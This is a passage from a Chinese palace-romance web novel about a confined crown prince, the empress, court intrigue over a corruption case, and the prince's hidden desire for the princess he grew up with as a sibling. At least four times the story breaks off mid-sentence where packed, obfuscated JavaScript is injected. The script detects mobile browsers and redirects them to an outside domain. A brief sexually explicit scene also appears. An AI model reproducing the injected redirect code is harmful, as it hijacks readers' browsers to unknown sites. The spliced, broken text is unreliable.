想看她纯粹的双眼沾满情|欲,想听她喉咙里挣扎时的细碎声音,想要在她身上低喘释放。 “怎么了?”云棠问道。 太子沉默片刻,而后若无其事地移开目光,看向院中的花草影壁,喉结轻滚,眸中情愫晦暗。 云棠看他沉默不语,想来是朝政累人,便也不再说话。 清月捧着一个紫檀木的宝盒走了上来,“殿下,这是中书令府送来的东西。” 太子瞥了一眼,没有动作,倒是旁边的云棠有了动静,“是华姐姐派人送来的吗?” 沈伽华是中书令家的女公子。 “是,是沈姑娘派人送来的。”清月打开雕花的宝盒,里头放着一张纯白的丝帕,右下角绣着几杆翠绿挺拔的竹子,错落有致,十分好看。 云棠伸过脑袋仔细看,啧啧啧,华姐姐的绣工真不错。 虽然她不喜欢中书令,但华姐姐不一样。 自古就有手帕传情的习俗,华姐姐什么时候竟对太子哥哥起了这心思? 云棠手上有雨水,便用手肘轻推了推他,“哥哥,这意思,你懂得吧?” 太子黑白分明的眼睛冷冷地看着她,没有说话。 这可是华姐姐的绣帕诶! 她若是个男子,能被华姐姐这样六艺精绝,又温柔善良的京中贵女垂青,半夜做梦都要笑醒了! “这是闺中女子的绣帕啊,哥哥你是呆瓜吗?” 太子仔仔细细地分辨她脸上的情绪,没有得到想要的答案,最终只有一声叹息。 他转身进了殿内,云棠跟在他身后,对着清月摇摇头,恨铁不成钢。 “哥哥真的是呆瓜。” 两人还未落座,就看到小侯爷跟阵风一般刮了进来,圆圆的眼睛扫视一圈,最终落到清月手中捧着的宝盒上。 一个健步上来,看到宝盒里的帕子,喜笑颜开。 “哈哈哈哈哈哈,她果然给我绣了!” “看看!看看!” 云棠正喝热茶,听到这话不防舌头被狠烫了一口,捂着嘴说不出话,只能“呜呜呜呜”。 竟然是送给小侯爷的! 这两人什么时候走到一条道上去的,她怎么一点都不知道?! “你说什么?”小侯爷拿着那方丝帕,爱不释手、翻来覆去地看。 “呜呜呜呜呜!!!” 太子递过一杯冷水,说,“她说她是呆瓜。” 云棠转头怒目而视。 “啊?”小侯爷没懂其中官司。 云棠也顾不上太子,烫红的舌头缓了过来,拉上小侯爷就走。 “你和华姐姐是怎么回事?快跟我细细说来。” 小侯爷傻笑着摸摸后脑勺,两人一前一后走出去,连带着热闹和鲜活也走了出去,只剩下主位上的东宫太子。 一人饮茶,一人寂静,一人看雨。 午后,陛下身边的王常侍带着一道圣旨到了东宫。 太子监国以来,纲纪松弛,或有包庇之举,禁太子于东宫,任何人不得见。 顺带调走了太子回京监国处理过的所有奏折。 天子威怒,东宫如临深渊。 “太子爷不必过于惶恐,陛下这是怜惜您辛苦,想让您休息将养呢。” 王常侍话虽如此说,但现在满宫里谁知道,如今陛下和太子亲情淡薄,父子相疑甚深。 相反,淮王殿下就更受陛下宠爱,时常近身说话,承欢膝下。 太子此时脸上已是青白一片,手指紧紧捏着案几,指节都泛了白。 “王翁,父皇圣躬安和否?” “李太医神医妙手,陛下圣躬康泰,殿下无需担忧。” 话毕,王常侍带着一群内侍,将四五个箱笼一道抬走,东宫朱色大门缓缓关上,“哐当”一声,落了锁。 太子惶恐、畏惧的神色消散殆尽,锋利与冷嘲如一层寒冰附着于黑沉沉的眼眸之上。 这下好了,无论天晴天雨,谁都出不去了。 他转身时看到云棠站在廊下,一只手扶着栏杆,眼里惊慌。 大概是被这阵仗吓到了。 他反附身抱起一直在脚边打转的小白犬,骨节分明的修长手指在它长长的白毛里时隐时现,小白犬被揉地眯起了眼。 太子笑笑着拍了拍她的脑袋,将怀里的小狗递给她。 “没事,玩狗去吧。” 云棠心里有说不出的担忧,贺开霁和周侍郎接连弹劾崔尚书,太子哥哥却反而发落了贺周两位,崔尚书安坐家中。 像是打定了主意要维护崔尚书。 但朝政之事,她不好言语,只好一步三回头抱着狗走了。 当天入了夜,落锁的东宫门外来了一位贵人,她身边的侍卫腰挎长刀,左右侍女提着漆金流彩的五角宫灯。 门口戍卫的一众兵士列队阻拦,“皇后娘娘,陛下有旨,封闭东宫,任何人不得入内。” 皇后抬头看着巍峨的“东宫”二字,眸中的神色愈发坚定。 “忤旨。” 戍卫兵士吓得哗啦啦跪了一地。 “过后本宫自会去请罪。” 话毕,未让人开锁,而是直接让随身侍卫砍断锁链,重锁“嘭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听完这话,皇后那颗吊在嗓子眼的心才略略放下,但她总觉得事情未必这么简单。 “我听说沈贵妃前头想让云棠嫁贺探花,但你将那探花给打了,还关进了大理寺,”皇后今日按捺不住闯宫,也有这一层忧虑在,“你方才说得冠冕堂皇,难道真的没有一丝私心在?!” 太子端起茶杯,薄薄的眼皮垂下,盖住一向锋利的眉眼,他浅酌一口,没有接这个话头。 “母后回宫前先去陛下宫中请罪,自请封宫,在儿子没出东宫前,闭门锁户。” 顾左右而言他,皇后知道自己猜测为真,心中气恼:“这一缕情丝沾在眼睛上,就叫你昏了头了!她是什么人,是你能染指的人吗?!” “你舅舅长居西北,思明不过五岁就留京为质,为了你的太子位,他们父子长年生离,每年你舅舅回京述职,我都不敢见他。” 说到此处,皇后娘娘红了眼睛,“蹊儿,你不能再错下去!” 太子看着烛光里母亲哀泣的面容,他走到母亲身侧,弯着腰轻缓地拍着她的背。 “儿子知道,朝堂、东宫乃至天下万姓,都是我身为储副的责任,我绝不会拿这些儿戏。” 皇后神色稍霁,抓着太子的手道,“你心里清楚就好,按我的意思,还是早早将她嫁出去为好。” 太子挣脱了开去,撩起衣摆在皇后跟前跪下,陈情道。 “但母亲,储副也是人,也有私心,我不想日后当个孤家寡人。” “这个人,这件事,决计没有商量余地。” 门外不知何时就站着的云棠,听到这里,举步往兰若庭走。 “不要跟太子殿下说我来过。” 8. 第 8 章 皇后娘娘在东宫停留不过一刻,说完要紧话便往太初殿请罪。 她坐在轿撵中反复思量太子方才所言所行,越想越恐惧,太子是陆氏家族的全部寄托所在,如今这寄托竟然虚虚地悬在一女子的衣带之上,这断不可行。 云棠不能再留了,必须快快嫁人,彻底断了他的念想。 “娘娘,太极殿到了,陛下现下在东暖阁,”随身侍女停顿了下,道:“沈贵妃在陪着。” 东暖阁内的陛下拿着一卷道德经,盘腿坐在长塌之上,不紧不慢看着。 他年不过五十,因长年修道,乍一看颇有几分仙风道骨的味道,不似俗世帝王。 他不喜奢靡,不爱穿锦衣华服,入寝时也总穿着从前的旧寝衣。 平日里除却会见外臣,多是道袍、棉布直缀打扮。 朝臣百姓多称赞陛下|体恤民生多艰。 “陛下,皇后娘娘在殿外跪着呢。”沈贵妃剥了一颗葡萄递到皇帝唇边,声音娇缠。 “更深露重,皇后娘娘身体金贵,若是跪伤了御体,太子殿下该要心疼母亲了。” 皇帝瞥了她一眼,吃了那一口葡萄,“不要挑拨。” 沈贵妃心中一紧,“臣妾不敢。” 又觑着陛下的神色,问道:“陛下打算怎么处置皇后娘娘忤旨闯宫?” 皇帝放下道经,道:“皇后是中宫,谈不上处置。” 沈贵妃伺候皇帝多年,知他对皇后早已没有情谊,年少情深不假,但这点深情怎么敌得过王权霸道。 皇帝斟酌几分,道:“请皇后回去吧,罚俸三月以示惩戒,若再犯定严惩不饶。” “陛下对皇后娘娘果然情深,叫臣妾好生羡慕。” 皇帝喜欢沈贵妃的恭顺与体贴,不用花心思,不像皇后和她的兄长陆肃,表面恭敬实则处处掣肘。 连带着太子也是如出一辙。 此次崔钟林的案子,太子表面维护,实则步步紧逼,一次次试探他的底线,令人十分恼怒。 沈贵妃见陛下面色不愉,揣测着其中意味,伸手轻轻搭着陛下的手,道“皇后娘娘身份贵重,臣妾去将娘娘扶起来。” 陛下略点了点头,随她去了。 厚厚的棉毡一撩开,外头的夜风带着寒凉就扑了过来,沈贵妃站着瞧了一会儿脱了金簪跪在石砖上的皇后娘娘。 轻哂一声,走了过去。 “皇后娘娘金安。”她站在皇后面前,精致的眉眼垂下去,得意又明艳。 侍女想要斥责贵妃行礼不合宫中规矩,被皇后拦下。 “陛下现下政务繁忙,不得空见娘娘,”沈贵妃道,“陛下说请皇后回去,罚俸三月以示惩戒,若再犯定严惩不饶。” 皇后由侍女扶着站了起来,膝盖隐隐疼痛,她看着明艳又得意的贵妃,心中一片冰凉。 转头望向窗上映照出来的人影,曾经他们一道在那扇窗边,灯下作画、小话家常。 而如今,即便她深夜跪在殿外,他也不愿出来见她,甚至任由他宠爱的嫔妃来羞辱自己。 她恨恨地咽下这口郁气,太子,比一切都重要。 皇后离开前道:“贵妃儿女双全,比本宫要有福气,云棠已及笄,贵妃为了自己,为了云棠都该早做打算。” “儿女都是债,留来留去终成仇,云棠出嫁了,贵妃也好松一松心中悬挂多年的那口气。” 沈佩贞得意神色隐去,皇后字里行间的意思像是一把利剑悬在她头顶。 难道她知道云棠的身世? 她下意识地否认,若真的知道,为何不发难,倘若东窗事发,顷刻间就是赤九族的极刑。 或许只是在谈婚事? 她望着皇后离去的背影,忽然想起前几日云棠在静幽堂里为她自己奋力一搏的模样。 眼睛里盛满倔强和失望,话虽是对着她说的,可她几乎没有看自己。 这个女儿,在恨我。 头顶的夜幕突然如山般倾轧到她身上,穿堂夜风卷着落叶“哗啦啦”地扑到脚下,鲜红长指甲轻轻按下鼓起的白色裙摆,红衬着白,在昏暗的夜里像一道道噬人的血迹。 这个女儿,怕是不能留了。 次日一早,云棠懒懒地不想起身,青丝满白枕,脸颊肌肤如瓷,一双杏眼呆呆地看着床顶的仙鹤团花纹样雕刻。 心中怅然若失,这种感觉不像那日面对母妃时的失望,而是种绵长、钝刀般的失落。 “公主醒了?”听雨双手撩起纱帐,束拢置于金钩之上,“太子爷刚还让人来传话,公主若是醒了,请您过去一道用早膳。” “不去了,”云棠起身走到窗边,暖暖的晨光照了进来,是个雨过天晴的好天气,“我想自己吃。” 听雨颇为意外,公主一向很黏太子爷,昨日都还一道用了早膳、午膳、晚膳。 顺着公主的眸光看过去,今日太阳也没从西边升起来啊。 “就说我还在睡懒觉。” 昨日她在殿外听到太子哥哥与皇后娘娘的争执,才知道他有个极爱重的人,江山社稷在前,都丝毫不愿意退缩。 但这么一个人,她竟一点都不知道,枉她自诩是太子哥哥无话不谈的人。 这么多年的兄妹之情难道都是她的一厢情愿。 会不会是下江南认识的?他只是没来得及讲。 听闻江南多美人,也不是不可能,但若论美貌,谁能好看得过华姐姐。 还挺想华姐姐当这个皇嫂,只可惜她是中书令的女儿。 而且,华姐姐看上了小侯爷。 啧。 美人的眼光有时候总是令人费解。 昨日她用尽手段和力气,都没能从小侯爷嘴里套出他俩的渊源。 “哟,用早膳哪。” 说曹操曹操就到,小侯爷吊儿郎当,手里欠欠地甩着院里刚掐来的一串紫藤。 “正好我想再吃点,听雨,上碗筷。”他往八仙桌旁大马金刀地一坐,眼睛笑眯眯地,心情好地不得了。 云棠忽然想到小侯爷也有个哥哥,十分殷勤地给他舀了一碗冒着热气的汤粳米。 “你哥哥娶妻了吗?” “娶了啊,不过我没能回去道喜,去年他们进京,我瞧见了,啧啧啧,”他双手捧着碗,在渺渺白气里感慨,“我哥真是好福气。” “哥哥成婚后,你会觉得他和你不如从前亲近了吗?” “人都是要成婚的,哥哥有人陪就很好了,以后我也要成婚的。” “可能会变得亲疏有别,但是哥哥就是哥哥,血缘关系、兄弟之情总是在的。” 云棠咬着银筷,眼睛眨也不眨,真是一叶障目。 从昨晚起就生发出来的不舒服突然就如云雾顿开,虽然我不是太子哥哥最重要的人,但还是会有她的位置。 血缘亲情是与生俱来的,这不会变。 “小侯爷,我觉得华姐姐瞧上你,不是没有理由的。” 云棠发自真心地感慨,给他夹了一筷子自己最喜欢吃的山海兜。 小侯爷受宠若惊,摸着自己的脖子道:“你昨儿可不是这样说的,恨不得伸手掐死我。” “做人就是要日日新的,我已经不是昨日的我。” ”你今日怎么说话这么奇怪?” “我早晨睡醒,有了一个念头,以后不能太依赖太子哥哥。” “这又是哪一出?” 云棠却像是打定了什么主意,也不再与他多说。 小侯爷蹭了一顿早膳,临走时神神秘秘地贴在她旁边,小声说:“下月初三,华儿想和你见一面。” 云棠那莫名的占有欲下意识跑了出来,“是单只有我,还是你也在?” “这我能缺席?!” 她短暂沉默了下,提醒自己要习惯新的身份,华姐姐如今和小侯爷更亲近。 “知道了。” 小侯爷传完华儿的话,晃晃悠悠地往伏波院去。 伏波院里,太子身着靛蓝色如意云纹圆袍领,腰间玉带,一支羊脂白玉雕就的鹤簪将乌发束起,整个人清贵自在地立于书案前,手握羊毫玉笔,正打算作画。 小侯爷送来热乎乎的两个消息。 其一,皇后娘娘违背禁足,只是罚俸。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457647|169590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >其二,今日早朝,有官员为崔尚书辩白,大理寺调查沈侍郎交上来的证据和苦主,昨晚反了水,口口声声说是沈侍郎威逼利诱,崔尚书一片清白。但陛下下朝前,未表态。 太子一一听着,执笔的指尖悬于半空,青蓝色脉络微微凸起,腕骨绷出凌厉线条,笔势起伏、游走,笔下海棠粉若明霞。 “你不意外吗?” 太子蘸了些曙红颜料,道:“一夕之间,封禁储副和中宫,这是举国震动的事,陛下不会这么做,更何况,母后还有你爹这个后盾。” 只要不是谋反,陛下都不会也不敢严惩。 小侯爷想想也是,“那你打算怎么破局,总不能一直被困在这东宫里吧?” 太子低眸,眉心微微皱起,似是不满意。 小侯爷探头去看,画的是海棠美人春睡图,美人还未添容貌,看不出是谁,只是这衣裙看着有点眼熟。 太子将这纸废稿卷起放入画囊中,扔入旁边的青花白瓷画缸,里头林林总总数量可观。 小侯爷道:“你这是要还是不要?” 若是要,总该画完再存,若不要,扔了就是,还这么精心存放起来。 太子没有搭理他,又在案上重新铺上一张白宣纸,提笔作画。 这能当太子的,指定都有点毛病,小侯爷耐不住性子敲了敲书案,“你倒是说话啊。” “本就没有局,用不着破。陛下与大理寺若已查明崔尚书是无辜被告,那不是正好佐证我并未行包庇之举。” “谁无辜,谁包庇,我心里清楚,陛下心里也清楚。” “那你的意思,陛下就要放你出去了?” 太子抬头,薄薄唇角勾起,眉眼闪烁着几分狡黠,“打一棒子还得给颗甜枣。” “你是不是就等在这儿啊?”小侯爷看他被禁足后,一点不着急,看书作画,八成就是算好了的,“可怜了探花郎和沈侍郎,他们挨了打,还要背上污蔑朝廷命官的罪名。” “诶,不是,你不会是为了替阿棠推掉那门亲事,才设计钓的探花郎吧?!” 太子手指点了点他,让他慎言。 “贺开霁有点才华,可惜心智不坚,是个貌似貌似忠直,实则藏奸之人,这次也不算冤了他。” “但若他真是个好人,好官,你愿意阿棠嫁他吗?” “这世上没有金玉一般的人。” 小侯爷:呵呵。 “说起阿棠,方才我俩一起用早膳,她说她今日睡醒,决定以后不能太依赖你,看起来她是真的长大了。” 太子闻言,笔尖一坠,颜料淹染开,海棠错了颜色,又是废稿一张。 他唤来清月,责问之下才知昨晚云棠来过。 眉间成川,眸中暗潮翻涌。 目光落到那朵海棠上,回想昨晚与母后的谈话。 恍然间,好似多年幽暗情愫见天日般,胸腔里的那颗心,剧烈跳动了起来。 他按捺不住地站了起来。 一时期待压过迟疑,他就跨出门去,一时迟疑压过期待,他又走了回来。 初夏的伏波院,檐下挂着画眉鸟,廊上放着一盆盆红的蔷薇、白的茉莉,清风过处,带来沁人心脾的花香,小白犬围在脚边,睁着大大圆圆的眼睛好奇地看着殿下。 一人一狗,两两相望,李蹊败下阵来。 他走到园中的长椅坐下,看着满园春色,心中荒芜一片。 他可以向母亲直接言明自己的势在必得,也不怕天下人非议,可唯独不敢面对云棠的那双眼睛。 明明知道她视自己为兄长,却经年累月、暗无天日地觊觎着她纯粹、洁白的身体和灵魂。 这是卑劣、龌龊的小人行径,可他没有一点办法。 那些欲念和情愫从心上生发,如春天野草般,在他身上一天比一天肆虐、疯长,而他却连伸手去触摸她的资格都没有。 他只能弯腰抱起小白犬,让它的脚踩在自己白色的玉带上,看着那双与云棠极像的眼睛,自欺欺人般傻气地问道。 “你是愿意的,对吗?” 小白犬蹦跶着拱他下巴:汪汪! 9. 第 9 章 一连数日,胆小鬼太子爷都对云棠避而不见。 云棠调理好自己后,回回来找都被打发走,推拒理由也是敷衍地很,不是说在睡觉,就说在看奏疏。 奏疏都搬到父皇那了,他又在禁足,看得哪门子的奏疏? 一连几次后,她渐渐觉出不对劲来。 拉着清月走到一旁无人处,悄声问道:“皇兄这几天是怎么了?被父皇禁足伤心了?” 清月欲言又止,只是摇摇头。 “那是御体违和,不愿意见人?” 清月又摇摇头。 这身心都没问题,云棠食指敲着手心琢磨道:“东宫封禁了,别人进不来,外人就我和小侯爷在,他见小侯爷吗?” 清月点点头。 哈! 那就只是不想见她?! 这些年了,还是第一次出现这个毛病。 她做了什么,令他生出了厌恶? “是我的问题?”云棠问清月,“我做了什么惹他生气了?” 清月左看右看,确定无人,才附在她耳边,小声说了一句。 云棠一听就炸了,“就因为我听到他有心上人了?他心上人是什么奇世珍宝吗?别人听都不能听!” 平常她有什么都会跟他说,什么好吃的好玩的都会想到他! 他可倒好,去了一趟江南,回来就整出来个,她听一耳朵就要厌恶她的心上人! 她好不容把自己调理好了,他还先生上气了! 云棠一股邪火在脑门上迎风飘扬,气地她原地转了好几个圈! 他还先生气了! “公主,你不知道是谁?” 清月那晚没能拦住公主,战战兢兢地陪着她站在门外,殿下与皇后娘娘虽没明说,但话里话外指的就是她。 竟然没猜出来? 可若是没猜出来,那为何次日一早不来一道用早膳? 云棠眯起眼审视,稍稍后仰歪着头瞧她,“我该知道吗?” 清月惊觉自己说错话,“扑通”一声就跪下了,惊慌地道:“奴婢什么都没说,公主莫要猜了。” 云棠越发起了疑心。 她应该知道的话,就不是江南认识的。 京中的? 她想来想去,只想到一个华姐姐,但华姐姐给小侯爷绣绸帕了。 不会吧...不是吧... 她不是呆瓜,还真被她说中了?难怪那天他沉着个脸、一言不发! 像华姐姐这等样貌人才,无论得谁的青眼都是理所当然,但小侯爷、太子哥哥,手心手背都是肉,他们当真争起来,她就很难抉择支持谁了。 “你们在做什么?”小侯爷满园子溜达,在紫藤花阴下瞧见了两人,好奇道:“说什么呢?” 云棠看到他,没来由地有点心虚,一把将清月捞了起来,“没什么,说出不去闷得慌。” 清月脸上的惊惶之色未褪,前头自己没拦住人,殿下法外开恩,未做处罚。 这次是一犯再犯,她恐怕是没命可活了。 “东宫应该没几日就要解封了,再忍忍吧。” “你怎么知道,这人都不能进出,你消息怎么回回这么灵通?”云棠问道。 小侯爷眉开眼笑,满脸骄傲:“山人自有妙计。” 清月朝两位贵人行礼告退,左脚刚踏进伏波院,就被通传去见殿下。 清月:...... “见过公主了?” 太子站在窗前,阳光落到他的身上,看不清面容,红锦地衣上拉出长长的背影,而清月就跪在影子边上。 她的肩膀瑟缩颤抖着,背脊上冷汗频出,双手和头都伏在地上。 “回殿下,奴婢刚与公主说了一会儿话。” 声音里都带着恐惧,“公主问奴婢,殿下是不是在生她的气。” 李蹊:“生什么气?” 她重重地磕了三个头,豁出命去道:“公主猜测因为她偷听到殿下有心上人,而生她的气。” 李蹊的身形像是僵了般一动不动,良久后,他手背朝外地摆了摆手,示意她退下。 清月大喜,整个人犹如走了一趟鬼门关,手软脚乱、心跳轰鸣地爬起来出去了。 高高在上的太子爷并不比她好多少。 这几天的心烦意乱终于露出了谜底。 原来她不知道,听到那些话,一点都没往自己身上想。 是他这个哥哥做得太称职。 “殿下,”徐常侍走了进来,“陛下有口谕,传您即刻进宫。” 李蹊收敛心神,沉沉的眉眼看了一眼窗外的明艳海棠,道:“更衣,进宫。” 与东宫同步解封的还有崔府,崔尚书这些日子端坐家中,一想到开霁告发自己贪污受贿,老血都要吐上好几口。 白眼狼啊白眼狼。 但他又实在舍不得这白眼狼,在狱中那么久,不知被折磨成什么样了。 如今自己这头开释,开霁那头肯定要被定罪,他琢磨着疏通关系,争取个轻判也好。 但一想到陛下将此案让殿下全权处理,眉间皱得能夹死苍蝇。 他不好去狱中探望,琢磨着让女儿去,谁知她竟断然拒绝,甚至直言。 “他这种忘恩负义、实利成癖的人,活着不如死了!” “你怎么这么说!”崔钟林胡子气翘起来,“先头他在咱家住着的时候,你不是还哥哥长、哥哥短地叫着。” “爹,您也说是以前了!您再对他掏心掏肺也是白费!” “嘿!”老崔老来得女,养得十分骄纵,长辈面前什么话都敢讲,什么脸子都敢甩。 见女儿指望不上,只好招来家奴收拾些细软吃食送过去。 这消息很快传到了太子的耳朵里。 太子身旁还有一人,是负责此次案件的大理寺少卿郑更。 此人为人刚直、敢参敢言,是个官场有名的硬骨头。 他敢这么刚硬,一是个性使然,二是有王牌护身。 当年陛下带着百官南下逃难时遭遇刺杀,郑更的父亲,轻城侯为陛下挡了一箭不幸殒命。 陛下欠郑家一条性命,所以只要郑更没有投敌叛国,就是一世的荣华富贵。 “自当年大乱之后,还没有出过这样的事情,一国储君,说封禁就封禁,如此儿戏,不是吉兆啊。” 郑更摇摇头,说话声音不算小。 太子爷瞥了他一眼,忍了。 “冰冻三尺非一日之寒,孤与陛下之间的嫌隙年深日久,这次的事只是个由头。” 封禁是陛下对我的警告,不要试图挑战他的底线。 郑更愤愤不平,“此次崔尚书的贪腐案,证人突然反了水,贺开霁那边给的证据,只能抓个尚书府的小小管家,丢人啊!” “陛下如此高高拿起,轻轻放下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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远远能看到院中的那架秋千时,他的唇角带起若有似无的笑意,比黄昏的光还要轻柔、缱绻。 他走去寝殿的窗边,随意地倚着窗台,摘了一朵窗台上的茉莉,递到鼻尖轻嗅,是清新、纯粹的花香。 里头的云棠指挥着侍女,地上摆着好几只箱笼,像是要把兰若庭里的物件悉数都带走。 “阿棠,”他笑着唤道,“饿不饿。” 云棠转身,看着太子哥哥的笑颜,他身后是无尽的落日与簌簌飘动的树叶。 像从前很多个黄昏,他来学堂接自己下学,也是这样站在窗边,笑着问她,饿不饿。 不知为何,鼻子有点酸。 或许年少的岁月真的远去了,太子哥哥不会再属于她一个人。 她低下头眨了眨眼睛,压下眼中的涩意,再抬头时,已经挂上一张笑脸,脚步轻快地走到窗边。 “好吧,我原谅你了。” “原谅我什么?” 原谅你有了至死不渝的爱人却没有告诉我,原谅你不再把我当成无话不说的妹妹。 原谅你突然拉着我长大。 “原谅你这么晚才来找我吃饭。”云棠笑着说。 10. 第 10 章 云棠回到昭和殿后,去了一趟后殿的花圃,里头种了母妃喜欢的姚黄。 母妃生辰将近,她预备着亲手制作一份姚黄香粉,以表做女儿的孝心。 上次在蓬莱殿与母妃争辩一场后,对母妃的期待少了很多。 但转念想想,站在母妃的视角,她也不是一个合格的、听话的女儿。 她们真是一对对彼此都无法满意的母女。 在需要争取的事情上她不想让步。 但两人毕竟是母女,没有永远的仇,她想拿这瓶香粉当个台阶。 制香粉的过程、工艺不算复杂,只是繁琐又磨人,拆下来的每一朵花瓣都要饱满、莹润,浸水、沥干,再放到木盘里用光晒、用风干,再研磨成粉,按照母妃的喜好配上一点茉莉与苦丁,前后算起来需要半月时光。 初夏日光暖洋洋地落在安静的昭和殿,云棠白日里去学堂进学,下学后就料理那些精挑细选出来的花瓣。 日子恬静而祥和,只是今日在晚膳时,来了一位传旨内侍。 旨意上言,钦天监近日观星,明华公主所宿的紫寰星,隐隐有犯陛下的宫宿,为保陛下圣体康健,即日起至月末,公主不得进入太初殿。 这旨意来得突兀、又多余。 她瞧着手上明黄的圣旨,半年都见不到一次父皇的人,有这必要吗? 想不明白就不想了,她让听雨赏了几颗金豆子给内侍,便把圣旨收了起来,依旧专心致志地制香粉去了。 太子听到这消息,眉眼却沉了下来,他立刻命人去探听事情缘由,以及近日蓬莱殿动向。 宫人回报,只说是钦天监司正例行公事,观星上奏。 而今日蓬莱殿中,贵妃娘娘除了侍奉陛下,只见过一次淮王殿下。 李蹊望着黑沉沉的天,总感觉这看似平静的深空背后,隐隐酝酿着狂风暴雨。 他转身走回书案边,上头铺开的正是郑更刚刚送来的卷宗。 贺开霁。 太子看着这个名字,他一直在怀疑,这人背后藏有隐情。 不过崔钟林的故旧之子,沈贵妃却愿意让他尚驸马,以达到拉拢的目的。 真的可以吗? 除非不仅限于门生故旧的关系,甚至有更紧密的亲缘,但贺开霁为了投诚自己,弹劾了崔钟林,这又斩断了自己的这种猜测。 他招来暗卫张厉询问,“近日崔钟林有什么动向?” “崔尚书每日里除了上朝外,不曾接触外人。” 张厉想了想又道,“崔府的家丁曾经拿着细软吃食去看望贺开霁,但是被郑更大人拦了下来。没让进。” “淮王府呢?” 张厉被越问越心虚,难道是自己没监察到位,因而再答话时多了几分慎重和小心。 “淮王殿下昨日午后见过一次中书令,晚膳时进宫给贵妃与陛下昏定,出宫后未再出府。” 太子食指成弓,一下一下敲击着紫檀木书案,“咚、咚、咚”的声音闷闷的,犹如他此刻的心境。 淮王见过中书令后进宫,今日旨意就下到了昭和殿。 这是巧合,还是阴谋? 张厉知晓殿下近日在劳心江南贪腐案,故而对牢狱当中的两人也格外关注。 “殿下,属下近日获悉,贺开霁入狱后意志消沉,不思饮食,但今日不知为何,突然要水要吃食。” “让郑更暗中去查,这几日谁与贺开霁说过话,说过什么,另再去探崔钟林府。” “是”张厉领命而去。 虽尚未查明其中关窍,之前让郑更放出的从严从重处罚的消息,似乎也没有大鱼上钩。 李蹊合上卷宗,打算等一等,誓要查出此间猫腻。 而此时的尚书府,一改之前沉闷。 崔钟林坐在院中的摇椅里,眯着眼晃悠悠地隔着池水,听咿咿呀呀的昆曲,听到动情处,还跟着一道哼唱几句。 “老爷,吃一杯酒。”府中姬妾张氏跪坐在侧,双手捧上一杯冰美酒,媚眼如丝,身形窈窕。 崔钟林一手接过酒盏,一手揉捏着张氏柔韧的脖颈,掌下温热、细腻,他没忍住一路往下摸去。 自从被解禁后,得知开霁那孩子在狱中不吃不喝,太子殿下又要从严从重,他这一颗心每日里都吊着,素了多日。 眼下一切妥当,那颗蠢蠢欲动的色心又起,忍不住将人从地上拉起来,解了衣带就按着她的脑袋胡闹。 张氏技巧纯熟,将人伺候地浑身酥麻、飘飘欲仙,几欲死在那一张嘴里。 “满府里,就你最得我心。”崔钟林一边大喘着气,一边伸手去狠掐她的腰,纤细的腰肢瞬间绷紧又软了下去。 张氏如水蛇般爬了上去,依偎在他胸口,手伸进他的衣袍里摸着,嘴上娇滴滴地抱怨:“老爷,妾想要给老爷生个儿子,不想老爷总是背地里被人指指点点,没有儿子。” 他喝了几杯酒,怀里又是跟了自己多年的小妾,舒心惬意时,防备心都喂给了那上脑的淫|虫。 “谁说我没有,我儿子出息大了!” “只要过了今晚,明早尚公主的圣旨一下,我儿就是皇亲国戚!” 张氏手上一紧,引得崔钟林“嘶”了一声,横了她一眼。 “老爷,妾错了。”她又俯身下去,将人伺候地不知天地日月、神魂颠倒。 张厉拿到暗卫传出来的消息后,立即快马加鞭呈报殿下。 李蹊看到纸条上的字后,当下勃然大怒,一方刚开的徽墨扫落在地,“嘭”地一声,四分五裂,墨水横流。 张厉并殿内诸人纷纷跪下,屏住呼吸,不敢出声。 他冷着脸,转身走到窗边,静默片刻后,神色如常地走回书案边,取下案上的灯罩,盯着那火苗而后将那纸条烧了。 火舌即将舔上他手指时,松了手,纸条落到书案上,渐渐熄灭,只剩一点烟灰。 “殿下,是臣等失职,未能提前探知此事。” 太子在看到纸条时就已经想明白其中关窍。 说到底,贺开霁的罪罚可轻可重,崔钟林去见淮王,不过自曝贺是他儿子,想要留儿子一命,甚至留儿子在京。 尚公主就是救命稻草。 为了说服淮王,或许他还会借此次的事,强调陛下对他绝对的信任,大力鼓吹这门婚事的好处。 明面上贺开霁与他对立,尚公主非但不会引起陛下的疑心,反而会让陛下认为两人势同水火。 有之前送春宴相看在前,只消贵妃在陛下面前求情赐婚,说阿棠与他情深意重,此事不难谋成。 淮王拿着崔钟林这个把柄,往后户部暗地里八成就要落到淮王手里。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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"张厉,文死谏,武死战,你也想当言官?也要逼迫威胁孤。"太子眸底如墨,黑沉一片。 “臣不敢!” 太子不喜欢蠢人,更不喜欢自作聪明的人,所以他并不愿意浪费口舌,指点他淮王与陛下之间,先是父子,后才是君臣,儿子犯了错,信错了人,不过训斥一顿,犹可环绕膝下。 至于崔钟林,天子近臣,多年心腹,想要保全崔氏血脉的这一点私念,陛下不见得容不下。 